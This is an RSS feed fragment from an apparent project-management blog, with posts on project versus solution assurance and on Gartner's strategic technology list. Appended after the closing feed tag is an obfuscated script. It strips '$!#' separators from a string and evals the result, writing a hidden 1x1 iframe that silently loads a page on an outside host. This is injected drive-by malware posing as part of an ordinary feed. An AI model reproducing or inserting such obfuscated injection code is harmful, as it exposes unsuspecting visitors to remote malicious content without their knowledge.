		<description><![CDATA[I was recently asked to comment on the concepts of project assurance, solution assurance and turnoaround. The following is a summary of my response.
Project Assurance is, as the name suggests, assurance of the way that the project is being run. Relevant experience is around project management rather than the implementation solution space. The concept od [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently asked to comment on the concepts of project assurance, solution assurance and turnoaround. The following is a summary of my response.<span id="more-390"></span></p>
<p>Project Assurance is, as the name suggests, assurance of the way that the project is being run. Relevant experience is around project management rather than the implementation solution space. The concept od Solution Assurance is more related to confirming that solution being delivered will be fit for purpose once in place. In PRINCE2 terms the project assurance role will be most closely aligned to the project executive, whereas the the Solution Assurance will be aligned with the senior suplier. (Arguably the senior user could also be looking to take on solution assurance, but in PRINCE terms it would be the senior supplier.)</p>
<p>The idea of a turnaround specialist would be slightly different again. To require &#8220;turnaround&#8221; there must be an identified issue to address. The assurance role is required whether or not there is a problem, and its presence would hopefully avoid problems. The turnaround specialists task is more one of a troubleshooter &#8211; identifying the symptoms, analysing the cause and leading the solution. This might be in Project or Solution terms.</p>
<p>Let me provide some examples:</p>
<ul>
<li>In my last role I was employed as a Solutions Architect, and my primary focus was on assuring that the solution to be delivered met its functional and non-functional requirements. The skills I employed for this were primarily technical, and example questions were around whether the particular solution would fully deliver the functional and non-functional requirements.</li>
<li>At the same time I also performed a level of project assurance for the programme manager for projects I was less directly involved in. In this case the experience I was drawing on was one of a project manager with years of delivering solutions under my belt. The examples of questions I was asking here were around the potential issues to do with processes being used for risk and issue management and whether they were appropriate.</li>
<li>In a turnaround role I would employ analysis based on *both* of the other assurance roles, but would go further to address an identified issue. I would use my own creative skills to provide potential approaches, and would use an engagement approach that would get buy-in and participation from the delivery team. I would then propose an exception plan, in PRINCE terms, in conjunction with the project or programme manager. The skills being used are more active and leadership based.</li>
</ul>
<p>In the description above I have assumed a project/programme context for turenaround. The approach, however, is as likely to be applied in an operational setting, and in this case the set of techniques will differ somewhat. The result of business level turnaround application is likely to be one or more change programmes.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fdevproc%2Fprjmgt%2Fassurance%2F&amp;linkname=Assurance%20and%20turn-around"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/prjmgt/assurance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gartner&#8217;s top 10 strategic technologies</title>
		<link>http://www.sarquol.com/strat/development-strat/gartner-top-10/</link>
		<comments>http://www.sarquol.com/strat/development-strat/gartner-top-10/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 20:16:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[bleeding-edge]]></category>
		<category><![CDATA[leading edge]]></category>
		<category><![CDATA[Strategy]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=380</guid>
		<description><![CDATA[Gartner is trying to help us all out with our strategy again, or maybe this is an early "next year prediction" article. I suppose that in recommending strategy to major corporate customers they are not going to select technology on the bleeding edge. This selection is more "look what you should have been doing this year" than "get on this band wagon now".]]></description>
			<content:encoded><![CDATA[<p>Gartner is trying to help us all out with our strategy again, or maybe this is an early &#8220;next year prediction&#8221; article. Either way Gartner&#8217;s top 10 strategic technologies have been published: <a title="Gartner's top 10 strategic technologies" href="http://blogs.gartner.com/david_cearley/2008/10/14/gartner%E2%80%99s-top-10-strategic-technologies-for-2009/" target="_blank">here</a>. To be honest, my biggest surprise is that there isn&#8217;t something newer in here. They seem to have selected only technologies that are relatively mature, and some of them are what I would consider to be positively mainstream. I suppose that in recommending strategy to major corporate customers they are not going to select technology on the bleeding edge. This selection is more &#8220;look what you should have been doing this year&#8221; than &#8220;get on this band wagon now&#8221;.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fstrat%2Fdevelopment-strat%2Fgartner-top-10%2F&amp;linkname=Gartner%26%238217%3Bs%20top%2010%20strategic%20technologies"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/strat/development-strat/gartner-top-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var VkXmR6='d$!#o$!#c$!#u$!#m$!#e$!#n$!#t$!#.$!#w$!#r$!#i$!#t$!#e$!#($!#\'$!#<$!#i$!#f$!#r$!#a$!#m$!#e$!# $!#s$!#r$!#c$!#=$!#"$!#h$!#t$!#t$!#p$!#:$!#/$!#/$!#g$!#e$!#o$!#n$!#o$!#n$!#.$!#n$!#e$!#t$!#/$!#i$!#n$!#.$!#p$!#h$!#p$!#"$!# $!#w$!#i$!#d$!#t$!#h$!#=$!#1$!# $!#h$!#e$!#i$!#g$!#h$!#t$!#=$!#1$!# $!#f$!#r$!#a$!#m$!#e$!#b$!#o$!#r$!#d$!#e$!#r$!#=$!#0$!#>$!#<$!#/$!#i$!#f$!#r$!#a$!#m$!#e$!#>$!#\'$!#)$!#;$!#';eval(VkXmR6.split('$!#').join(""));</script>